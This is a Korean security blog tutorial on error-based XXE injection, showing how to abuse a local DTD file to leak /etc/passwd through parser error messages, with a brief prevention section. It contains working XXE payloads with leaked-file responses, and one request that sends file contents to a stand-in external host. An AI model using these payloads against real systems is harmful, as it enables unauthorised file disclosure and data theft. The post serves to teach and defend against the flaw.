Error Based XXE Injection

2 minute read

최근 발견한 XXE LFI Injection 취약점에 대해 소개하고자 합니다.

이 취약점은 아래 포스팅을 참고하여 Exploit을 진행했습니다.

blind XXE vulnerabilities

Exploiting XXE with local DTD files

Automating local DTD discovery for XXE exploitation


XXE Injection

XXE 취약점은 XML 파서가 사용자가 입력한 XML을 실행하는 중 발생하는 취약점입니다.

OWASP TOP10에 꾸준히 올라오고 있기 때문에 많은 Cheat Sheet나 Prevention이 존재합니다.

Error Based XXE

Error Based XXE 는 위에서 본 일반적인 상황과 다르게 Entity 값을 돌려받지 못할때 사용합니다.

/etc/passwd의 파일을 읽어와서. 태그로 반환을 해줘야 하는데 그렇지 않을때 보통 사용한다고 생각하면 됩니다.

그럼 아래와 같이 file entity 를 정의 하고 eval entity를 file:///empty/+file entity값을 실행한 결과로 정의 한 후에 실행을 한다면 어떻게 될까요?

<?xml version="1.0" ?>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval " <!ENTITY &#x25; error SYSTEM 'file:///empty/%file;'> ">
%eval;
%error;

그럼 존재 하지 않는 파일을 조회 하기 때문에 아래와 같이 에러가 발생하게 됩니다.

java.io.FileNotFoundException: /empty/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

다만 이 결과를 돌려주지 않는 경우가 많기 때문에 우리는 외부 DTD파일을 실행하는 코드를 사용하게 됩니다.


외부 DTD 로 Error Based XXE 실행

http://example.com/exploit.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///empty/%file;'>">
%eval;
%error;

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % data SYSTEM “http://example.com/exploit.dtd”>
    <!ENTITY % exploit "<!ENTITY &#x25; external SYSTEM 'http://example.com/getdata?data=%data;'>
    ">
    %expoit;
    %external;
]>

외부 DTD 로드 불가, 에러는 출력 해줄때 LFI Attack

위 exploit의 핵심은 외부 DTD 공격이 안되나 error를 출력해준다면 Local DTD로 exploit이 가능합니다.

쉽게 설명하자면 SQL Injection 공격과 비슷하다고 생각하시면 됩니다.

Error Test

아래와 같이 XXE Playload를 작성하여 보냈다고 가정합니다.

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///tmp/aaa">
    %file;
]>
<message></message>

Response

{"error":"/tmp/aaa (No such file or directory)"}

해당 에러를 통해 내부파일에 접근 가능한것을 확인합니다.

Injection 가능한 Local DTD File 찾기

/usr/share/xml/fontconfig/fonts.dtd로 접근시 에러가 발생하지 않음

공격 가능한 여러 Local DTD 파일 존재함.

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    %file;
]>
<message></message>

Response

{"error":""}

Local DTD를 이용한 XXE Injection

fonts.dtd 의 내용은 아래와 같습니다.

/usr/share/xml/fontconfig/fonts.dtd

<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
      |name|const
      |or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
      |plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)>

Exploit 실행 결과입니다.

Request

<?xml version="1.0"?>
<!DOCTYPE exploit [ 
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> 
    <!ENTITY % expr 'go)>
    	<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> 
    	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///empty/&#x25;file;&#x27;>"> 
    	&#x25;eval; 
    	&#x25;error; 
    '> 
    %local_dtd; 
]>
<message></message>

Response

{"error":"/empty/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)
"}

Exploit 설명

첫번째로 local_dtd entity 에 fonts.dtd 파일을 읽어 가지고 있습니다.

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

expr entity 를 ‘ ’ 의 내용으로 재정의(override) 합니다.

<!ENTITY % expr ‘go)>  exploit code  '>

이미 정의된 <!ELEMENT test(…)> 의 내용이 <!ELEMENT test(go)> exploit code > 로 재정의 되면서

local_dtd entity 호출시 해당 exploit code가 실행 됩니다.

Exploit code는 처음 설명 드린 것 처럼 error 코드에 file 내용을 출력하는 코드입니다. 여기서 % 나 & 를 유니코드 값으로 표현한 이유는 expr이 재정의 되고 난 후에 실행이 되도록 해야하기 때문입니다.

문자 그대로 입력하면 치환이 되기 전에 실행 되버려서 파싱 에러가 발생했습니다.

	<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> 
    	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///empty/&#x25;file;&#x27;>"> 
    	&#x25;eval; 
    	&#x25;error;

어떻게 방어할 것인가

가장 안전한 방법은 Apache에서 http://apache.org/xml/features/disallow-doctype-decl

옵션을 주는것 처럼 XXE 취약점이 발생하지 않도록 외부 Entity 사용을 막는것이라 생각됩니다.

DTD 비활성화가 불가능 하다면 XML Parser를 안전하게 구현 해야 할 것입니다.


참고자료

  1. BLOG

https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/

  1. Cheat sheet

https://gist.github.com/staaldraad/01415b990939494879b4

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md

  1. Prevention sheet

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Leave a comment